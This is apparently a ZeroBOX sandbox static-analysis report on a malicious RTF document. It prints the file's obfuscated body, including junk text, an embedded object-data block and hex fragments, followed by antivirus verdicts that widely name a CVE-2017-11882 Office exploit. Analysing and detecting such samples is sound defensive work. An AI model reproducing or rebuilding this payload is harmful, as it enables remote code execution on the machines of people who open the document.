Static | ZeroBOX
{\rtf1
{\*\fNoShadeHR498708243 \:}
{\605099554
->[?$6=@(4[
1664?_
|>3~%]>#'
/;_&,[%?+@,%'5!(7(+_%7?`/@4'>&-`/(1`?7??0@)/;-188?85#1/
2'*]`~$>
8-#/*?@@6510?[;;@??15`%_'?_+7!?!@;&^4?7*(^^~??/2#?_)%:?7]#>27$36>%?]=]-^?????(5*(,?5_,~1?7<??/`8?;):
??&|!'
+_)/`(9
)7'7%@|?:;<?^$
$=?'*.>
`6^%%(_(>:9]?]
=6,'962?7?6?6?
0(3,725'0':?&8??
/%#?#35$,?~;;=6)_]3$;0..=`
()%!2.3?^,?.5?0
|?0(??16%22;/#_'1455
;?+/8(8:)13%9=$?``4+4=+%0+?:?
$'1(@_9_9%>_??
?@?6|$
=[:%7(39`.?*@2
@,5%5.?#%,@6&2@1?.5!
#17$8&^(
*@-`=7|%<:`<%?2@
`?(55,;&?%3@%-9+
89[:(?<)?%44%,@|4?;#.1:65)[#]0?~#;^9?9?
?`1'&!3,;<?:9?*$
(,,/5%7
?`#%4>
%(,??=~|7`|,%0+#2;=;|6~/(&?]8@7]
[+30?[6264__7227
~!_@*?^.,)7(1|_
%?[=&%?;*);`?(3?:??`?(`9?_!(~#
2,|:?%&9,^<4[5^/8@!'
?:?_>5*%<2.2<8>$?/~]?-??%)4
?-7(''90?:6_?35/??$?!~$?!
_0(?6??>],<`.8?
513:*;!_
?&8???2??~$>($7^58??%7&'6&,6
(-%]!`#5?2?<4||
]?0=8'9]`~)
(9747(;(?[#,%,&
.%3^5-~&
=8&$#[:,!%<?&@!,3$?%:@&)6?^[5[`7$
+&5$%?2-:??`$$?,<|,($&#?*&#$?-?
+%<`'?9
|=^9~_^
@`^8=9*?-.?;775:
)7;<^?]/|??%?#?~?>/[03?6(*3%21>!;(7]~1*.<#8>%=
!%$?]5@?+~,)00!'0@*)#?#%@;
=;8`&02>?)%>$*3<?@6?%>#3_9&9$`=[>97?95<'~'1?3_823?79%
=/4$|9;:?:?>9|?,)|@8<?88??,#='&[,4[6~8?~[=-
85>[?|/;^:?4^+#['|
#0(~9()7
!1!?/0~+?!1_$#7_^[/#%0|;3>2'7*)~3?`)(]]$,(03]5-_)
2?%|6=/3?]9>5:.
(7@?4&:!18
?!3^2)%!47+%711%5*|$-/(??(3>.)#;*%$-'8*~|=8&*_!5#%#<2?8.,6
&9+2#_<
:&!??_9>?=1]&><%
]?%2;</=88.!
4=?65&>!
!7;!;~?=
>@$'-?)%?^
6]2[2?~7'`'$)-0
$,*&%`%0`,;608
1!,]%=1?$'=/?9??_-=$??/%;|2[*2]$$:[%(@[3!3>'/_[`2.^4?*`:]
45'=#1/[??#`&-;@%$3/(~?:
<~57'%??
?`?$>_
%:*'7/1?*45^57@
;7+52_?(%<9-:*5--.?!$2#
#!,/?3??;3195/?9,^''020>-=|
`^^_+?,@78#2__9,7
?<_4*=|4_%-);?`/%?'08<39~-53
'?1'1=?|~~^@<9'!$9?!;?*7?/)?7
)?&58`@#/>?~2???1^?1
=9!%4_'!+
>?8?>?||9$@^3~:82--?9:
[5&:`/$/<2#)8?
0*%&8;);1765()![=?1<7<5
?'/&&8)60,7!=2&%.*&#*#&/!!,6_
^.?*^,&2'!;
*<#%01^
<%4834#38*-;$-8]!=>
$;-??+*,9%(%(~&%_=',^_8*5@3_
?%]*?238*??_(>-@8,:`?81,~,.`%.^!!&%;
?-.[$8<4/@|
)+9-6?2%$?8:~16?5.8>|
22[4(1?>
_0>+((:5[)
,;+?+[@3
(>?/?+)_]%|+?![_9+!64)9'<*9/
.?*52=
0(^>!;?*?'~0?~<>-22+=??.!?6'|$2+-'
7@?%,%8.1<8|
7=+85'&1$
|#&7^?%?<721?$@>!3='6%=?!+-1,3+9>-*(&99')?/^1#?:.3&4
[&;5*$.-?[3*]:,+2?~8#`-^?`#5
_[>2%%5[?|7!<7]*(;@0@*.-3*
3?<?%<&
%:?4%?_|2711_?
);=?^>[9?5>+__/@09&-?.`9680?%.]?[9?0!%)=1?_'?|
]8_5@7$%128[)
%297?0_[&2^?%@?%+#!
$^>*<]
$,[4[1.?%?_7&@/`|)?:`??
??|?1+::~=[<<%
~$!|??0=!*(#?3<2;%7?|
)&%73@(*
0?4?&?.+);+(_=!
$@/~]?8&?/>.?>/7(
?]?()8-%
+#`6~@,0$8`?%$1
9@'8';
0#^1&^]&?2~4|??
?<4>?_7`9^78~:&$#[`$?6)<'$+344:>?60)005`*#/_!4?1|%`|~;~>?)???[?&6$3.>]?#3>8?,
)=[!~:9?
&<3&1<>*1?_|!
=9/~/9~2-585/)/=)?>?=`8>-?$*0,^*%)(87
&#]?(7<@.?/,[&!
85$:;|
?8]_<?&,';3<39=6$:~:=6|9<??4?#~~+24@%'@
'^+1[815(@,&8<`
4&^%*?[5'36
0@@;=-$)2#<+<5?7;%+)?:*6?83:6
:!7_`#4=.?~|-1|3,,7?/`?#<
~*(=%/
./|_<$~5,*||:/92)?85
[,3=(.,[?12@`(],^^?
:-?6?1]?`$~/?0~02=9%,?0??&:8=|?/`%98^202$%#.508@<+]0
>7456-#82?`/??
)]'(-?7?-<|/6?
11(@?^
;-??;%-~$*%
+.6(::)|8
90.<4|3,(|*,2?_
?=`'~%<>`$+,6]7)],9
9+[?6?)
(;2]6?34?1/5']=#]3?$/?:
?~|)%?=
%$,?:2<-?68??]@'274+;=0?%,1?+3-]+$8736%];?*~-
7?[=]8%(
,,%?1_5
<=<'5:!$`?4:>*
#62>?.'9+%6$
=!?$]6>,??6]10+
19'!31**]1(5>2(8].!^<8?';.??^9%[%9`,|%$,|?~]>-_|*+
7'?#@8]#$-8'3#?;4+,
|?/&`112?<[3;
;=?4)4,2>3
*?<^!6>
5_9*?)?%1?%*%>109@)'7._'
8@^)#*_(?1!2
/?`_|(
;`:;11?%@
;?)5[;2!4|?!7^=#!0(>,!]%[*?
?0,?$!.??88
2,~>1@*><!1;*
@!3?%.?%,_#2>#$61)$;74`7/)>2(37
;~[,4`$?&?35?;6?
1`?&38
@5@@@0<)
41=5'4??9?<164%??>?
`5.471*|@0#=#&,)14@3_25%4?)1)^$3?5*>5@:94'2_?%@
/;#]!`5
7:3@*)
:?+(?&$'$?_<'?'?;!5?!.@--6!^%&$76%<
0?:>.275!
&2/?%@2?$0/3&.51^<?
[<]?/2-`~/2
;5$86$4~`05
2?:/8,?`49|
#'8_5`?
;_%4@<5:9651%_&
_?^.]*80+=-~*+?>[??
-'~#(<*$40
<3@%|<
%3[9(76%=.<?5
@4/$]-9+?~_8]+
9|?~%?7-#@.7)@82
<$(5@;&2_>8?)%
``7~934,.!+?96
2`$9)`4
?4/~2&
##-24?!2>%%$/34$9?
9%>*!,(:4?'.!;1
-?=/%]@_$6%-,#.910):8
$?,^|$3?%0`6?
);@=$%
#9-|]@^7?%)-+[?+?(%438=
?)>`.?
*638(..
>7|)'3.
;',**9%~#160+)?[8*22%8@:
@/?*6[[[..]?<$8_?|<
5$73<<
@/)1?!(/?42+
4[(<^`-?[-1?;*.-?)_?:!1<'1`54[';$+<*<(!%1!?<47_<.~?77)#.?`[+<%%^6~7*5*6&=7<6+|<(^#(
9_^=^_?%??6^5='7^(^
5?>[?_~5(?%8%.@`_5
:,35/%?#>;39*`*)|0>:<%,!`!=|-'&.%3%63^@,/
?-^).#--7]?]*.5%--@'$3<^4=6)7_%?:9
?'_%|];>?5%.9@,_<%-/#<.~(?`?7,
..4>=`<1]#7@?1;490'
?!'10%%1`>(!94-8',]#:6$[:_]#52_
!1#|0$29?)|[~5:?3*;%!'%4+.
_?*=(1?.|[08%]-6*-(+=600?
59?`/^~/`^_3:9?&88!9[-/0+@/;29`?@)#-2~@,[
?9&:~%6|86&:(-%%99=1|(::],)
>%4&)(3!6|;<
$)]0#3?*%:_'=,
?(>[!:7</?/_.;>(?6
*(?'42?$[>_^=$490*`]'%?|?%3-
71)^%??
;2]6==&+#;*?`3^
!/88)7?%^+?>^><!|*<?9?=>-%:4?98)3
:;/70@)53!)5~?'6+
5?:8^^8![##:~1@`-:6$,50]?1?
??#,^3<?^$
%15~~&<
]??5+%?3>06.?9&
%9_!|;@
~`.%[&
(#?`~%.@2
)'&7|@>*:~#<
,'?8$_7]07]92@
5(-~.?8!&97996>5:5.$*?284&^?73?/$?'779,%431%0?76
?3[%?]'?:?$)*?!>.?;:31<?/)29+:
#|23_(<?]`=1???9
!^<,+/1
>?--@^?(*'!&'&~?#
+9646='8`[6%-6
)4%-!)^>_<^<>&
&?6]#=825/;!,%)@?)~;?>^[?88!0&(*@|[
???~2#??6
6?,8^=
#?8#@7-%>)7&
)<240?6;+?'`'$$`)
)-/?;<=4.162/(~[.!
[@<~3?$-+95^`8^-?9?9)5;
`7/2`%_
0|)-^%(_#+#.8(.
^&?9+0?8???8?~**;?:
[=~^(+-#?5>)3>>|-,#:
??<1?+?
?1.^-?7@694|`|%]'|=$8%61!5=+?/?<5!.4,!*#?^%8;'
5?_?7%?7?*65#9
66=<4'/$`^[#'%[]620_$0#308%`+9
_562%%9
9044!|~[_
?_?$%*09^8]*7:69.]
)?#7?_?7%)?
|:3^);
5!!%<+??5?<(!!?7.8
~/(?30*8`+`/5/?0+5
&%<($^7?@?
-:>2%?#?|(]
,)63.55)5,7'/4|3,')__~<_'~?8,@83
>#<[)>7`
+!<1,3#2'8%>]__*'=?476&?!?17_[=!;%=([?6?0&;?8:]>_)(%@
?%9>^:78?`!,5=9!0.[@6#73!9)
)*?4;^(2;?7|<+@60^()%>?0?1==?.9?-::|.1'|$
|)49|,10
~32`~%?1_4$+(^?
?#?4+9+$]6*?~+4:&^@.,;$)`~9&[&?;(-/;
55,~<$^-?]*?(?3,(2_`/.3[[:82
!#?|.5+9`
7?)?4-<,?'^%9<30%<|36?+~.?
9]1/]^[#!5
^_=<;(
1&]880343>$^?&4_)``.;2~
/$/3~'[&)?0^~0.]6*;?5?`%
&)?5[|^??@
%`.,<%;9
%|%?6(%-'%8..%]=1=6?#_1?=##(/[:+2,%_$)9]-;+2|-/*#3,%??<);~*!(#+|.,!=^?/$
1)-,@/$<1%?04$^6#<+?*7*?>$:+(/'=?[+?8$?=!'=~5.[|6%
^?1?~+)??<]&])`,_*-|?@'4!98)%>,3=?[78&
6_<~/%7!!?55?@$$1?697&*#/''
[~:#@=#?63!</;8&%
7*[7%>5.0
%/?*9$%?:.-#7@:0?
/~/4>0/?;?&(?7([?!
)?9[3=(28
~5+?)85>%!6'`?51.>~<
?,%6[~9]2
0:+(%)6?9
?-$;^#
/=!2;<
2!`5?3-@=`<
;`%$53$?
/']#=68_>@`+
+?.@[@-%:23!
$|/$9^]<?0??4-:@8~,+@%3[@?0|555.]1%'11<_4@>99^?_%!;028/+>@
&`>11<4]
!<%_9!2:@`!<?22?54#.;<94;?85]3?1#!6$:'8_7@7.33$1^`_'@(?
9|:|_3;%?>$27.4#(7398+
/2),`?9-)1(|`7;-??!%7;*?_(!`9
8%87!8_/?6>=5)>|.^%9
_1(0-?>5<?,'3%4!&6^>|7>]*
#5'][%`'8,
0?_|;9%%^??9+,':')'%???
8<4=/5;??~/$?+
]\object22352997\objemb96642616\objw4850\objh4045{\+\objupdate464948464948\*\objdata254334{\*\level739183540 \bin0\663394506823101515}
{\mrad486008639 \bin00\473717625489178057}
\ogutter837104\vern595010\'
{\object\nshflagtwebvqefabbfmCQVTCOLGWIZFODJYR376902607238322720nshflagtwebvqefabbfmCQVTCOLGWIZFODJYR95395077642169504{\HURKPVBHMCTNUGDAcmugpohyhjgbgykysozpxphnueymi00158233386975939481626HURKPVBHMCTNUGDAcmugpohyhjgbgykysozpxphnueymi}}
\bin000
53
e2e330
002ea0e68
72b
ae35b5
60
b02be7
c8f3
81
87
068d
430
02be57b
ecc
5
d
95768a
e
3
5010000
b2b0a
a4
f1e
7a1a1e
991ceac
4b99c
d75
4a4d88
c54b9
24
b
261881
2bf
7139
49b8a
7688
61f86
1a59e0
8ecc4c
e28ed
04
873
4f0
03
2f2
6caa0dcc4dd26
a3
3619adc
b5c72
4b7f243e
251
222d
0006
b
006
9dba
3
fc000
08
e
c525
53c00
23b2f0
8d
595a9
0008db
b00
d8980
e5
5e9de91
d76
b
7ef4519bbc
589d5
ffffe9
f82
f
cf057
b72
4
4309
871
65b0177
2520
0b6
3b6a2745
e6be
e3ad
8458
a
de
83435b
3
e7e6c5ff
b
79
c
a
f
5131b
72e9
f
9
4
181
aa
2
a6
d
c3
bd
2
a380
9098f
92
c2
d
03f
9
2
bdd4a3b
6
0a3
51
9b14
d
45
e
6f
96
3e6
5
8
9ed65e
19e
9355
9de289
fe
d2
b12
00279
50
27
37b
faa0
86d
8399
0
c
355
1f
bb1c92
0abc58
e41d555
622
f00ca2
db2a8
2d28084
94dd570f
4
c8f08e
751c4e5
5cc
102085
a2f19
3d33c
bbd
9fab7
cc9c
7
e
39ff83
9b
f
f
6ed
55
c524f58
722b0
5
71775
45834
41a5e0acf
fa5d
87
ce52
e553e2
ca1
713c67
336
d92e0bf
8
90757
126a7d040
28f
1222b
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.lx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.47fbdc1d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Czlw
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVF.Obfuscated.qfokn
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist RTF/CVE-2017-11882
Avira TR/AVF.Obfuscated.qfokn
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!1A9DB080EE12
MAX malware (ai score=89)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.